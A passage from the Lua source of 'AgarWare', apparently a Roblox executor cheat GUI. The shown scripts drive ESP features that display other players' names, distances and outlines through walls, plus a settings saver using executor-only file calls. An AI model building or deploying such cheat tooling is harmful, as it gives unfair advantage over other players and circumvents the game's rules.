					if isEnabled or ESPGroup:GetAttribute("ShowDist") then
						createNameGui(plr)
					end
				end)
			end
		end
		startRender()
	end
	
	local function disable()
		isEnabled = false
		ESPNameTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
		local showDist = ESPGroup:GetAttribute("ShowDist")
		if not showDist then
			if renderConnection then
				renderConnection:Disconnect()
				renderConnection = nil
			end
			for plr in pairs(ESPGuis) do
				removeNameGui(plr)
			end
		end
	end
	
	Players.PlayerAdded:Connect(function(plr)
		if (isEnabled or ESPGroup:GetAttribute("ShowDist")) and plr ~= LocalPlayer then
			createNameGui(plr)
			plr.CharacterAdded:Connect(function()
				task.wait(0.5)
				if isEnabled or ESPGroup:GetAttribute("ShowDist") then
					createNameGui(plr)
				end
			end)
		end
	end)
	
	Players.PlayerRemoving:Connect(function(plr)
		removeNameGui(plr)
	end)
	
	ESPNameTickBox.MouseButton1Click:Connect(function()
		if isEnabled then disable() else enable() end
	end)
	
	ESPGroup:GetAttributeChangedSignal("ShowDist"):Connect(function()
		local showDist = ESPGroup:GetAttribute("ShowDist")
		if not isEnabled and not showDist then
			if renderConnection then
				renderConnection:Disconnect()
				renderConnection = nil
			end
			for plr in pairs(ESPGuis) do
				removeNameGui(plr)
			end
		elseif not isEnabled and showDist then
			for _, plr in pairs(Players:GetPlayers()) do
				if plr ~= LocalPlayer then
					createNameGui(plr)
				end
			end
			startRender()
		end
	end)
	
	ESPGroup:GetAttributeChangedSignal("ESPEnabled"):Connect(function()
		local espEnabled = ESPGroup:GetAttribute("ESPEnabled")
		if espEnabled then
			if isEnabled or ESPGroup:GetAttribute("ShowDist") then
				for _, plr in pairs(Players:GetPlayers()) do
					if plr ~= LocalPlayer then
						if not ESPGuis[plr] then
							createNameGui(plr)
						else
							ESPGuis[plr].BillboardGui.Enabled = true
						end
					end
				end
				startRender()
			end
		else
			for plr, data in pairs(ESPGuis) do
				if data and data.BillboardGui then
					data.BillboardGui.Enabled = false
				end
			end
		end
	end)
	
	ESPGroup.Parent.Parent.VisualRightSide.ESPSGroup:GetAttributeChangedSignal("UseDisplayName"):Connect(function()
		local useDisplay = ESPGroup.Parent.Parent.VisualRightSide.ESPSGroup:GetAttribute("UseDisplayName")
		for plr, data in pairs(ESPGuis) do
			if data and data.NameLabel then
				data.NameLabel.Text = useDisplay and plr.DisplayName or plr.Name
			end
		end
	end)
	
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			disable()
			tooltipFrame:Destroy()
		end
	end)
end;
task.spawn(C_85);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPMaxDistRow.ESPMaxDistScript
local function C_89()
local script = G2L["89"];
	local ESPGroup = script.Parent.Parent
	local ESPMaxDistRow = script.Parent
	local ESPMaxDistTickBox = ESPMaxDistRow:WaitForChild("ESPMaxDistTickBox")
	local ESPMaxDistChanger = ESPMaxDistRow:WaitForChild("ESPMaxDistChanger")
	
	local defaultDist = 1000
	
	local function getScreenGui()
		local parent = ESPGroup
		while parent do
			if parent:IsA("ScreenGui") then return parent end
			parent = parent.Parent
		end
	end
	
	local tooltipFrame = Instance.new("Frame")
	tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
	tooltipFrame.BorderSizePixel = 0
	tooltipFrame.ZIndex = 100
	tooltipFrame.AutomaticSize = Enum.AutomaticSize.XY
	tooltipFrame.Visible = false
	tooltipFrame.Parent = getScreenGui()
	
	local stroke = Instance.new("UIStroke")
	stroke.Color = Color3.fromRGB(57, 57, 57)
	stroke.Thickness = 1
	stroke.Parent = tooltipFrame
	
	local padding = Instance.new("UIPadding")
	padding.PaddingTop = UDim.new(0, 6)
	padding.PaddingBottom = UDim.new(0, 6)
	padding.PaddingLeft = UDim.new(0, 6)
	padding.PaddingRight = UDim.new(0, 6)
	padding.Parent = tooltipFrame
	
	local tooltipLabel = Instance.new("TextLabel")
	tooltipLabel.BackgroundTransparency = 1
	tooltipLabel.Text = "Maximum distance to show ESP on players. Default is 1000, INF to see all players "
	tooltipLabel.TextColor3 = Color3.new(1, 1, 1)
	tooltipLabel.TextSize = 14
	tooltipLabel.TextXAlignment = Enum.TextXAlignment.Left
	tooltipLabel.TextYAlignment = Enum.TextYAlignment.Top
	tooltipLabel.Font = Enum.Font.GothamSemibold
	tooltipLabel.TextWrapped = true
	tooltipLabel.AutomaticSize = Enum.AutomaticSize.XY
	tooltipLabel.Size = UDim2.new(0, 200, 0, 0)
	tooltipLabel.ZIndex = 101
	tooltipLabel.Parent = tooltipFrame
	
	ESPMaxDistTickBox.MouseEnter:Connect(function()
		local abs = ESPMaxDistTickBox.AbsolutePosition
		local size = ESPMaxDistTickBox.AbsoluteSize
		tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
		tooltipFrame.Visible = true
	end)
	ESPMaxDistTickBox.MouseLeave:Connect(function()
		tooltipFrame.Visible = false
	end)
	
	ESPGroup:SetAttribute("ESPMaxDist", defaultDist)
	ESPMaxDistChanger.PlaceholderText = tostring(defaultDist)
	
	ESPMaxDistChanger.FocusLost:Connect(function()
		local input = ESPMaxDistChanger.Text
		if input:lower() == "inf" then
			ESPGroup:SetAttribute("ESPMaxDist", math.huge)
			ESPMaxDistChanger.PlaceholderText = "inf"
			ESPMaxDistChanger.Text = ""
		else
			local num = tonumber(input)
			if num and num > 0 then
				num = math.clamp(num, 1, 100000)
				ESPGroup:SetAttribute("ESPMaxDist", num)
				ESPMaxDistChanger.PlaceholderText = tostring(num)
				ESPMaxDistChanger.Text = ""
			else
				ESPMaxDistChanger.Text = ""
			end
		end
	end)
	
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			ESPGroup:SetAttribute("ESPMaxDist", 1000)
			tooltipFrame:Destroy()
		end
	end)
end;
task.spawn(C_89);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPDistanceRow.ESPDistanceScript
local function C_8e()
local script = G2L["8e"];
	local Players = game:GetService("Players")
	local ESPGroup = script.Parent.Parent
	local ESPAccentColor = ESPGroup:WaitForChild("ESPAccentColor")
	local ESPDistanceTickBox = script.Parent:WaitForChild("ESPDistanceTickBox")
	
	local isEnabled = false
	
	local function getAccent()
		return ESPAccentColor.BackgroundColor3
	end
	
	local function getScreenGui()
		local parent = ESPGroup
		while parent do
			if parent:IsA("ScreenGui") then return parent end
			parent = parent.Parent
		end
	end
	
	local tooltipFrame = Instance.new("Frame")
	tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
	tooltipFrame.BorderSizePixel = 0
	tooltipFrame.ZIndex = 100
	tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y
	tooltipFrame.Size = UDim2.new(0, 212, 0, 0)
	tooltipFrame.Visible = false
	tooltipFrame.Parent = getScreenGui()
	
	local stroke = Instance.new("UIStroke")
	stroke.Color = Color3.fromRGB(57, 57, 57)
	stroke.Thickness = 1
	stroke.Parent = tooltipFrame
	
	local padding = Instance.new("UIPadding")
	padding.PaddingTop = UDim.new(0, 6)
	padding.PaddingBottom = UDim.new(0, 6)
	padding.PaddingLeft = UDim.new(0, 6)
	padding.PaddingRight = UDim.new(0, 6)
	padding.Parent = tooltipFrame
	
	local tooltipLabel = Instance.new("TextLabel")
	tooltipLabel.BackgroundTransparency = 1
	tooltipLabel.Text = "Shows distance to players next to their name"
	tooltipLabel.TextColor3 = Color3.new(1, 1, 1)
	tooltipLabel.TextSize = 14
	tooltipLabel.TextXAlignment = Enum.TextXAlignment.Left
	tooltipLabel.TextYAlignment = Enum.TextYAlignment.Top
	tooltipLabel.Font = Enum.Font.GothamSemibold
	tooltipLabel.TextWrapped = true
	tooltipLabel.Size = UDim2.new(0, 200, 0, 0)
	tooltipLabel.AutomaticSize = Enum.AutomaticSize.Y
	tooltipLabel.ZIndex = 101
	tooltipLabel.Parent = tooltipFrame
	
	ESPDistanceTickBox.MouseEnter:Connect(function()
		local abs = ESPDistanceTickBox.AbsolutePosition
		local size = ESPDistanceTickBox.AbsoluteSize
		tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
		tooltipFrame.Visible = true
	end)
	ESPDistanceTickBox.MouseLeave:Connect(function()
		tooltipFrame.Visible = false
	end)
	
	ESPDistanceTickBox.MouseButton1Click:Connect(function()
		isEnabled = not isEnabled
		if isEnabled then
			ESPDistanceTickBox.BackgroundColor3 = getAccent()
		else
			ESPDistanceTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
		end
		ESPGroup:SetAttribute("ShowDist", isEnabled)
	end)
	
	ESPGroup:GetAttributeChangedSignal("ESPEnabled"):Connect(function()
		local espEnabled = ESPGroup:GetAttribute("ESPEnabled")
		if not espEnabled then
			ESPGroup:SetAttribute("ShowDist", false)
		elseif espEnabled and isEnabled then
			ESPGroup:SetAttribute("ShowDist", true)
		end
	end)
	
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			isEnabled = false
			ESPGroup:SetAttribute("ShowDist", false)
			tooltipFrame:Destroy()
		end
	end)
end;
task.spawn(C_8e);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPOutlineRow.ESPOutlineScript
local function C_92()
local script = G2L["92"];
	local Players = game:GetService("Players")
	local RunService = game:GetService("RunService")
	local LocalPlayer = Players.LocalPlayer
	
	local ESPGroup = script.Parent.Parent
	local ESPAccentColor = ESPGroup:WaitForChild("ESPAccentColor")
	local ESPOutlineTickBox = script.Parent:WaitForChild("ESPOutlineTickBox")
	
	local isEnabled = false
	local ESPColor = Color3.fromRGB(255, 255, 255)
	
	ESPGroup:GetAttributeChangedSignal("ESPColor"):Connect(function()
		local newColor = ESPGroup:GetAttribute("ESPColor")
		if newColor then
			ESPColor = newColor
			for plr, data in pairs(ESPGuis) do
				if data then
					if data.NameLabel then
						data.NameLabel.TextColor3 = newColor
					end
					if data.DistLabel then
						data.DistLabel.TextColor3 = newColor
					end
					if typeof(data) == "Instance" and data:IsA("Highlight") then
						data.OutlineColor = newColor
					end
				end
			end
		end
	end)
	local ESPGuis = {}
	
	local function getAccent()
		return ESPAccentColor.BackgroundColor3
	end
	
	local function getScreenGui()
		local parent = ESPGroup
		while parent do
			if parent:IsA("ScreenGui") then return parent end
			parent = parent.Parent
		end
	end
	
	local tooltipFrame = Instance.new("Frame")
	tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
	tooltipFrame.BorderSizePixel = 0
	tooltipFrame.ZIndex = 100
	tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y
	tooltipFrame.Size = UDim2.new(0, 212, 0, 0)
	tooltipFrame.Visible = false
	tooltipFrame.Parent = getScreenGui()
	
	local stroke = Instance.new("UIStroke")
	stroke.Color = Color3.fromRGB(57, 57, 57)
	stroke.Thickness = 1
	stroke.Parent = tooltipFrame
	
	local padding = Instance.new("UIPadding")
	padding.PaddingTop = UDim.new(0, 6)
	padding.PaddingBottom = UDim.new(0, 6)
	padding.PaddingLeft = UDim.new(0, 6)
	padding.PaddingRight = UDim.new(0, 6)
	padding.Parent = tooltipFrame
	
	local tooltipLabel = Instance.new("TextLabel")
	tooltipLabel.BackgroundTransparency = 1
	tooltipLabel.Text = "Shows an outline around players through walls"
	tooltipLabel.TextColor3 = Color3.new(1, 1, 1)
	tooltipLabel.TextSize = 14
	tooltipLabel.TextXAlignment = Enum.TextXAlignment.Left
	tooltipLabel.TextYAlignment = Enum.TextYAlignment.Top
	tooltipLabel.Font = Enum.Font.GothamSemibold
	tooltipLabel.TextWrapped = true
	tooltipLabel.Size = UDim2.new(0, 200, 0, 0)
	tooltipLabel.AutomaticSize = Enum.AutomaticSize.Y
	tooltipLabel.ZIndex = 101
	tooltipLabel.Parent = tooltipFrame
	
	ESPOutlineTickBox.MouseEnter:Connect(function()
		local abs = ESPOutlineTickBox.AbsolutePosition
		local size = ESPOutlineTickBox.AbsoluteSize
		tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
		tooltipFrame.Visible = true
	end)
	ESPOutlineTickBox.MouseLeave:Connect(function()
		tooltipFrame.Visible = false
	end)
	
	local function createOutline(targetPlayer)
		local char = targetPlayer.Character
		if not char then return end
	
		for _, v in pairs(char:GetChildren()) do
			if v:IsA("Highlight") and v.Name == "ESPOutlineHighlight" then
				v:Destroy()
			end
		end
	
		local highlight = Instance.new("Highlight")
		highlight.Name = "ESPOutlineHighlight"
		highlight.FillTransparency = 1
		highlight.OutlineColor = ESPColor
		highlight.OutlineTransparency = 0
		highlight.Enabled = true
	
		RunService.RenderStepped:Connect(function()
			local espEnabled = ESPGroup:GetAttribute("ESPEnabled") ~= false
			if not isEnabled or not espEnabled then
				highlight.Enabled = false
				return
			end
			local myChar = LocalPlayer.Character
			local myHRP = myChar and myChar:FindFirstChild("HumanoidRootPart")
			local targetChar = targetPlayer.Character
			local targetHRP = targetChar and targetChar:FindFirstChild("HumanoidRootPart")
			if myHRP and targetHRP then
				local maxDist = ESPGroup:GetAttribute("ESPMaxDist") or 1000
				local dist = (myHRP.Position - targetHRP.Position).Magnitude
				highlight.Enabled = dist <= maxDist
			end
		end)
		highlight.Parent = char
	
		ESPGuis[targetPlayer] = highlight
	
		local humanoid = char:FindFirstChildOfClass("Humanoid")
		if humanoid then
			humanoid.Died:Connect(function()
				if ESPGuis[targetPlayer] then
					ESPGuis[targetPlayer]:Destroy()
					ESPGuis[targetPlayer] = nil
				end
			end)
		end
	end
	
	local function removeOutline(targetPlayer)
		if ESPGuis[targetPlayer] then
			ESPGuis[targetPlayer]:Destroy()
			ESPGuis[targetPlayer] = nil
		end
	end
	
	local function enable()
		isEnabled = true
		ESPOutlineTickBox.BackgroundColor3 = getAccent()
		for _, plr in pairs(Players:GetPlayers()) do
			if plr ~= LocalPlayer then
				createOutline(plr)
				plr.CharacterAdded:Connect(function()
					task.wait(0.5)
					if isEnabled then createOutline(plr) end
				end)
			end
		end
	end
	
	local function disable()
		isEnabled = false
		ESPOutlineTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
		local espEnabled = ESPGroup:GetAttribute("ESPEnabled") ~= false
		if not espEnabled then
			for plr in pairs(ESPGuis) do
				removeOutline(plr)
			end
		end
	end
	
	Players.PlayerAdded:Connect(function(plr)
		if isEnabled and plr ~= LocalPlayer then
			createOutline(plr)
			plr.CharacterAdded:Connect(function()
				task.wait(0.5)
				if isEnabled then createOutline(plr) end
			end)
		end
	end)
	
	Players.PlayerRemoving:Connect(function(plr)
		removeOutline(plr)
	end)
	
	ESPOutlineTickBox.MouseButton1Click:Connect(function()
		if isEnabled then disable() else enable() end
	end)
	
	ESPGroup:GetAttributeChangedSignal("ESPEnabled"):Connect(function()
		local espEnabled = ESPGroup:GetAttribute("ESPEnabled") ~= false
		if not espEnabled then
			for plr in pairs(ESPGuis) do
				removeOutline(plr)
			end
		elseif isEnabled then
			for _, plr in pairs(Players:GetPlayers()) do
				if plr ~= LocalPlayer then
					if not ESPGuis[plr] then
						createOutline(plr)
					end
				end
			end
		end
	end)
	ESPGroup:GetAttributeChangedSignal("ESPEnabled"):Connect(function()
		local espEnabled = ESPGroup:GetAttribute("ESPEnabled")
		for plr, highlight in pairs(ESPGuis) do
			if highlight and typeof(highlight) == "Instance" then
				highlight.Enabled = espEnabled and isEnabled
			end
		end
	end)
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			disable()
			tooltipFrame:Destroy()
		end
	end)
end;
task.spawn(C_92);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualRightSide.ESPSGroup.ESPSScript
local function C_98()
local script = G2L["98"];
	local ESPSGroup = script.Parent
	local ESPSMinimize = ESPSGroup.ESPSTitle.ESPSMinimize
	local function getRows()
		local rows = {}
		for _, child in ipairs(ESPSGroup:GetChildren()) do
			if child:IsA("Frame") and string.find(child.Name, "Row") then
				table.insert(rows, child)
			end
		end
		return rows
	end
	local isMinimized = false
	local originalSize = ESPSGroup.Size
	local minimizedSize = UDim2.new(0, 170, 0, 20)
	ESPSMinimize.MouseButton1Click:Connect(function()
		isMinimized = not isMinimized
		local rows = getRows()
		if isMinimized then
			ESPSGroup.Size = minimizedSize
			for _, row in ipairs(rows) do
				row.Visible = false
			end
			ESPSMinimize.Text = "+"
		else
			ESPSGroup.Size = originalSize
			for _, row in ipairs(rows) do
				row.Visible = true
			end
			ESPSMinimize.Text = "-"
		end
	end)
end;
task.spawn(C_98);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualRightSide.ESPSGroup.ESPEnableRow.ESPEnableScript
local function C_9e()
local script = G2L["9e"];
	local ESPSGroup = script.Parent.Parent
	local ESPSAccentColor = ESPSGroup.ESPSAccentColor
	
	local ESPEnableTickBox = script.Parent:WaitForChild("ESPEnableTickBox")
	
	local isEnabled = false
	
	local function getAccent()
		return ESPSAccentColor.BackgroundColor3
	end
	
	local function getScreenGui()
		local parent = ESPSGroup
		while parent do
			if parent:IsA("ScreenGui") then return parent end
			parent = parent.Parent
		end
	end
	
	local tooltipFrame = Instance.new("Frame")
	tooltipFrame.Name = "ESPEnableTooltip"
	tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
	tooltipFrame.BorderSizePixel = 0
	tooltipFrame.ZIndex = 100
	tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y
	tooltipFrame.Size = UDim2.new(0, 212, 0, 0)
	tooltipFrame.Visible = false
	tooltipFrame.Parent = getScreenGui()
	
	local tooltipStroke = Instance.new("UIStroke")
	tooltipStroke.Color = Color3.fromRGB(57, 57, 57)
	tooltipStroke.Thickness = 1
	tooltipStroke.Parent = tooltipFrame
	
	local tooltipPadding = Instance.new("UIPadding")
	tooltipPadding.PaddingTop = UDim.new(0, 6)
	tooltipPadding.PaddingBottom = UDim.new(0, 6)
	tooltipPadding.PaddingLeft = UDim.new(0, 6)
	tooltipPadding.PaddingRight = UDim.new(0, 6)
	tooltipPadding.Parent = tooltipFrame
	
	local tooltipText = Instance.new("TextLabel")
	tooltipText.BackgroundTransparency = 1
	tooltipText.Text = "Enable or disable ESP"
	tooltipText.TextColor3 = Color3.new(1, 1, 1)
	tooltipText.TextSize = 14
	tooltipText.TextXAlignment = Enum.TextXAlignment.Left
	tooltipText.TextYAlignment = Enum.TextYAlignment.Top
	tooltipText.Font = Enum.Font.GothamSemibold
	tooltipText.TextWrapped = true
	tooltipText.Size = UDim2.new(0, 200, 0, 0)
	tooltipText.AutomaticSize = Enum.AutomaticSize.Y
	tooltipText.ZIndex = 101
	tooltipText.Parent = tooltipFrame
	
	ESPEnableTickBox.MouseEnter:Connect(function()
		local abs = ESPEnableTickBox.AbsolutePosition
		local size = ESPEnableTickBox.AbsoluteSize
		tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
		tooltipFrame.Visible = true
	end)
	ESPEnableTickBox.MouseLeave:Connect(function()
		tooltipFrame.Visible = false
	end)
	
	ESPEnableTickBox.MouseButton1Click:Connect(function()
		isEnabled = not isEnabled
		if isEnabled then
			ESPEnableTickBox.BackgroundColor3 = getAccent()
		else
			ESPEnableTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
		end
		local visualPage = ESPSGroup.Parent.Parent
		local espGroup = visualPage.VisualLeftSide:FindFirstChild("ESPGroup")
		if espGroup then
			espGroup:SetAttribute("ESPEnabled", isEnabled)
		end
	end)
	
	ESPEnableTickBox.BackgroundColor3 = getAccent()
	isEnabled = true
	local visualPage = ESPSGroup.Parent.Parent
	local espGroup = visualPage.VisualLeftSide:FindFirstChild("ESPGroup")
	if espGroup then
		espGroup:SetAttribute("ESPEnabled", true)
	end
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			tooltipFrame:Destroy()
		end
	end)
end;
task.spawn(C_9e);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualRightSide.ESPSGroup.ESPUserRow.ESPUserScript
local function C_a2()
local script = G2L["a2"];
	local Players = game:GetService("Players")
	local LocalPlayer = Players.LocalPlayer
	
	local ESPSGroup = script.Parent.Parent
	local ESPSAccentColor = ESPSGroup:WaitForChild("ESPSAccentColor")
	local ESPUserTickBox = script.Parent:WaitForChild("ESPUserTickBox")
	
	local isEnabled = false
	
	local function getAccent()
		return ESPSAccentColor.BackgroundColor3
	end
	
	local function getScreenGui()
		local parent = ESPSGroup
		while parent do
			if parent:IsA("ScreenGui") then return parent end
			parent = parent.Parent
		end
	end
	
	local tooltipFrame = Instance.new("Frame")
	tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
	tooltipFrame.BorderSizePixel = 0
	tooltipFrame.ZIndex = 100
	tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y
	tooltipFrame.Size = UDim2.new(0, 212, 0, 0)
	tooltipFrame.Visible = false
	tooltipFrame.Parent = getScreenGui()
	
	local stroke = Instance.new("UIStroke")
	stroke.Color = Color3.fromRGB(57, 57, 57)
	stroke.Thickness = 1
	stroke.Parent = tooltipFrame
	
	local padding = Instance.new("UIPadding")
	padding.PaddingTop = UDim.new(0, 6)
	padding.PaddingBottom = UDim.new(0, 6)
	padding.PaddingLeft = UDim.new(0, 6)
	padding.PaddingRight = UDim.new(0, 6)
	padding.Parent = tooltipFrame
	
	local tooltipLabel = Instance.new("TextLabel")
	tooltipLabel.BackgroundTransparency = 1
	tooltipLabel.Text = "Shows display name instead of username on Name ESP"
	tooltipLabel.TextColor3 = Color3.new(1, 1, 1)
	tooltipLabel.TextSize = 14
	tooltipLabel.TextXAlignment = Enum.TextXAlignment.Left
	tooltipLabel.TextYAlignment = Enum.TextYAlignment.Top
	tooltipLabel.Font = Enum.Font.GothamSemibold
	tooltipLabel.TextWrapped = true
	tooltipLabel.Size = UDim2.new(0, 200, 0, 0)
	tooltipLabel.AutomaticSize = Enum.AutomaticSize.Y
	tooltipLabel.ZIndex = 101
	tooltipLabel.Parent = tooltipFrame
	
	ESPUserTickBox.MouseEnter:Connect(function()
		local abs = ESPUserTickBox.AbsolutePosition
		local size = ESPUserTickBox.AbsoluteSize
		tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
		tooltipFrame.Visible = true
	end)
	ESPUserTickBox.MouseLeave:Connect(function()
		tooltipFrame.Visible = false
	end)
	
	ESPUserTickBox.MouseButton1Click:Connect(function()
		isEnabled = not isEnabled
		if isEnabled then
			ESPUserTickBox.BackgroundColor3 = getAccent()
		else
			ESPUserTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
		end
		ESPSGroup:SetAttribute("UseDisplayName", isEnabled)
	end)
	
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			isEnabled = false
			ESPUserTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
			tooltipFrame:Destroy()
		end
	end)
end;
task.spawn(C_a2);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide.MainSettingsGroup.MainSettingsScript
local function C_a9()
local script = G2L["a9"];
	local MainSettingsGroup = script.Parent
	local MainSettingsMinimize = MainSettingsGroup.MainSettingsTitle.MainSettingsMinimize
	
	local function getRows()
		local rows = {}
		for _, child in ipairs(MainSettingsGroup:GetChildren()) do
			if child:IsA("Frame") and string.find(child.Name, "Row") then
				table.insert(rows, child)
			end
		end
		return rows
	end
	
	local isMinimized = false
	local originalSize = MainSettingsGroup.Size
	local minimizedSize = UDim2.new(0, 170, 0, 20)
	
	MainSettingsMinimize.MouseButton1Click:Connect(function()
		isMinimized = not isMinimized
		local rows = getRows()
		if isMinimized then
			MainSettingsGroup.Size = minimizedSize
			for _, row in ipairs(rows) do
				row.Visible = false
			end
			MainSettingsMinimize.Text = "+"
		else
			MainSettingsGroup.Size = originalSize
			for _, row in ipairs(rows) do
				row.Visible = true
			end
			MainSettingsMinimize.Text = "-"
		end
	end)
end;
task.spawn(C_a9);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide.MainSettingsGroup.MainSettingsTooltip
local function C_aa()
local script = G2L["aa"];
	-- ============================================================
	-- SAVE SCRIPTS TOOLTIP SCRIPT
	-- ============================================================
	
	-- ============================================================
	-- SCREENGUI HELPER
	-- ============================================================
	local function getScreenGui()
		local p = script.Parent
		while p do
			if p:IsA("ScreenGui") then
				return p
			end
			p = p.Parent
		end
	end
	
	local ScreenGui = getScreenGui()
	if not ScreenGui then return end
	
	-- ============================================================
	-- FIND SAVE SCRIPTS TICKBOX
	-- ============================================================
	local function findDescendant(name)
		for _, v in pairs(ScreenGui:GetDescendants()) do
			if v.Name == name then
				return v
			end
		end
	end
	
	local SaveScriptsTickBox = findDescendant("SaveScriptsTickBox")
	
	-- ============================================================
	-- TOOLTIP BUILDER
	-- ============================================================
	local function makeTooltip(text)
		local frame = Instance.new("Frame")
		frame.BackgroundColor3 = Color3.fromRGB(16,16,16)
		frame.BorderSizePixel = 0
		frame.ZIndex = 100
		frame.AutomaticSize = Enum.AutomaticSize.Y
		frame.Size = UDim2.new(0, 212, 0, 0)
		frame.Visible = false
		frame.Parent = ScreenGui
	
		local stroke = Instance.new("UIStroke")
		stroke.Color = Color3.fromRGB(57,57,57)
		stroke.Parent = frame
	
		local padding = Instance.new("UIPadding")
		padding.PaddingTop = UDim.new(0,6)
		padding.PaddingBottom = UDim.new(0,6)
		padding.PaddingLeft = UDim.new(0,6)
		padding.PaddingRight = UDim.new(0,6)
		padding.Parent = frame
	
		local label = Instance.new("TextLabel")
		label.BackgroundTransparency = 1
		label.Text = text
		label.TextColor3 = Color3.new(1,1,1)
		label.TextSize = 14
		label.TextXAlignment = Enum.TextXAlignment.Left
		label.TextYAlignment = Enum.TextYAlignment.Top
		label.Font = Enum.Font.GothamSemibold
		label.TextWrapped = true
		label.Size = UDim2.new(0,200,0,0)
		label.AutomaticSize = Enum.AutomaticSize.Y
		label.ZIndex = 101
		label.Parent = frame
	
		return frame
	end
	
	local function hookTooltip(button, tooltipFrame)
		if not button then return end
		button.MouseEnter:Connect(function()
			local abs = button.AbsolutePosition
			local size = button.AbsoluteSize
			tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
			tooltipFrame.Visible = true
		end)
		button.MouseLeave:Connect(function()
			tooltipFrame.Visible = false
		end)
	end
	
	-- ============================================================
	-- CREATE TOOLTIP
	-- ============================================================
	local saveScriptsTooltip = makeTooltip(
		"Automatically saves your enabled scripts and settings. When you rejoin, all your scripts will be re-enabled but wait about a few seconds for it to load fully."
	)
	
	-- ============================================================
	-- HOOK IT
	-- ============================================================
	hookTooltip(SaveScriptsTickBox, saveScriptsTooltip)
	
	-- ============================================================
	-- CLEANUP
	-- ============================================================
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			saveScriptsTooltip:Destroy()
		end
	end)
end;
task.spawn(C_aa);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide.MainSettingsGroup.SaveScriptsRow.SaveScriptsScript
local function C_b0()
local script = G2L["b0"];
	-- SaveScriptsScript (Modified)
	local Players = game:GetService("Players")
	local localPlayer = Players.LocalPlayer
	
	local CoreGui = game:GetService("CoreGui")
	local AgarWareGui = CoreGui:WaitForChild("AgarWareGui")
	local MainFrame = AgarWareGui:FindFirstChild("MainFrame", true)
	
	local SaveScriptsTickBox = nil
	for _, descendant in pairs(MainFrame:GetDescendants()) do
		if descendant.Name == "SaveScriptsTickBox" and descendant:IsA("TextButton") then
			SaveScriptsTickBox = descendant
			break
		end
	end
	
	if not SaveScriptsTickBox then
		warn("[SaveScripts] Could not find SaveScriptsTickBox!")
		return
	end
	
	-- Create BindableEvent for progress tracking
	local LoadingProgress = Instance.new("BindableEvent")
	LoadingProgress.Name = "SaveScriptsLoadingProgress"
	LoadingProgress.Parent = AgarWareGui
	
	local FILE_NAME = "universalscript_save.txt"
	local saveEnabled = false
	local isApplyingLoad = false
	local hasLoadedOnce = false
	
	local function readFile()
		local success, result = pcall(function()
			return readfile(FILE_NAME)
		end)
		if success and result and result ~= "" then return result end
		return nil
	end
	
	local function writeFile(content)
		pcall(function()
			writefile(FILE_NAME, content)
		end)
	end
	
	local function loadSave()
		local data = readFile()
		if not data then return nil end
		local decoded = {}
		for line in data:gmatch("[^\n]+") do
			local key, value = line:match("(.-)=(.+)")
			if key and value then
				decoded[key] = value
			end
		end
		if decoded["saveEnabled"] ~= "true" then return nil end
		return next(decoded) and decoded or nil
	end
	
	local function isTickBox(child)
		if not child:IsA("TextButton") then return false end
		if not child.Name:match("TickBox$") then return false end
		return true
	end
	
	local function isChanger(child)
		if not child:IsA("TextBox") then return false end
		if not child.Name:match("Changer$") then return false end
		return true
	end
	
	local function isTickBoxEnabled(tickBox)
		local color = tickBox.BackgroundColor3
		return color.R == 0 and math.abs(color.G - 123/255) < 0.01 and color.B == 1
	end
	
	local function saveData()
		if not saveEnabled then return end
		if not MainFrame or not MainFrame.Parent then return end
	
		local lines = {}
		table.insert(lines, "saveEnabled=true")
	
		local pos = MainFrame.Position
		table.insert(lines, "posXScale=" .. pos.X.Scale)
		table.insert(lines, "posXOffset=" .. pos.X.Offset)
		table.insert(lines, "posYScale=" .. pos.Y.Scale)
		table.insert(lines, "posYOffset=" .. pos.Y.Offset)
	
		local ContentArea = MainFrame:FindFirstChild("ContentArea")
		if not ContentArea then return end
	
		for _, page in pairs(ContentArea:GetChildren()) do
			if page:IsA("ScrollingFrame") then
				for _, side in pairs(page:GetChildren()) do
					if side:IsA("Frame") then
						for _, group in pairs(side:GetChildren()) do
							if group:IsA("Frame") then
